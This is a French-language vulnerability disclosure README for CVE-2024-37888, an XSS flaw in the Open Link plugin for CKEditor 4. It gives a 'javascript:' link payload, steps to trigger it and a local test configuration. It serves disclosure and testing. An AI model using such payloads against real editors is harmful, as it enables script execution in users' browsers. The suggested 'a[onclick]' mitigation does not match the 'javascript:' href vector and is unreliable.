
XSS PoC/Exploit pour le plugin Open Link pour CKEditor 4
Ce dépôt documente les détails de la vulnérabilité et l'exploit pour CVE-2024-37888 découvert et signalé par moi-même.
Cette preuve de concept (POC) démontre l'exploitation d'une vulnérabilité XSS découverte récemment par moi dans le plugin Open Link qui, lorsqu'il est activé, affecte directement toutes les versions de CKEditor 4. La faille permet l'exécution de JavaScript via des liens spécialement conçus dans l'éditeur, que le plugin ne parvient pas à assainir. Cette faille peut être exploitée dans la zone de texte uniquement lorsque le plugin Open Link est installé. Le plugin Open Link nous permet d'ouvrir des liens directement dans la zone d'édition.
Cette vulnérabilité peut être testée à partir de l'instance CKEditor préconfigurée présente ici.
Insérer la charge utile :
Ouvrez l'instance CKEditor et cliquez sur l'icône "Source".
Insérez la charge utile suivante dans la zone de texte :
<a href="javascript:alert('XSS Found')">XSS</a>

Passer en mode WYSIWYG :

Déclencher le XSS :

Vous pouvez configurer votre propre instance locale pour tester cette vulnérabilité en suivant les étapes ci-dessous.
Télécharger CKEditor 4 :

Installer le plugin Open Link :
ckeditor/plugins/openlink.
Mettre à jour la configuration pour inclure le plugin OpenLink :
config.js de CKEditor en ajoutant les lignes suivantes à la fin :config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js :CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Cette vulnérabilité a été découverte dans la base de code du plugin Open Link et non dans celle de CKEditor 4. La POC ci-dessus démontre l'exploitation d'une vulnérabilité XSS via le plugin Open Link dans CKEditor 4.*.*. La faille permet l'exécution arbitraire de JavaScript via des liens spécialement conçus, posant un risque de sécurité significatif.
config.disallowedContent = 'a[onclick]';
Inclure CKEditor dans le HTML :
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
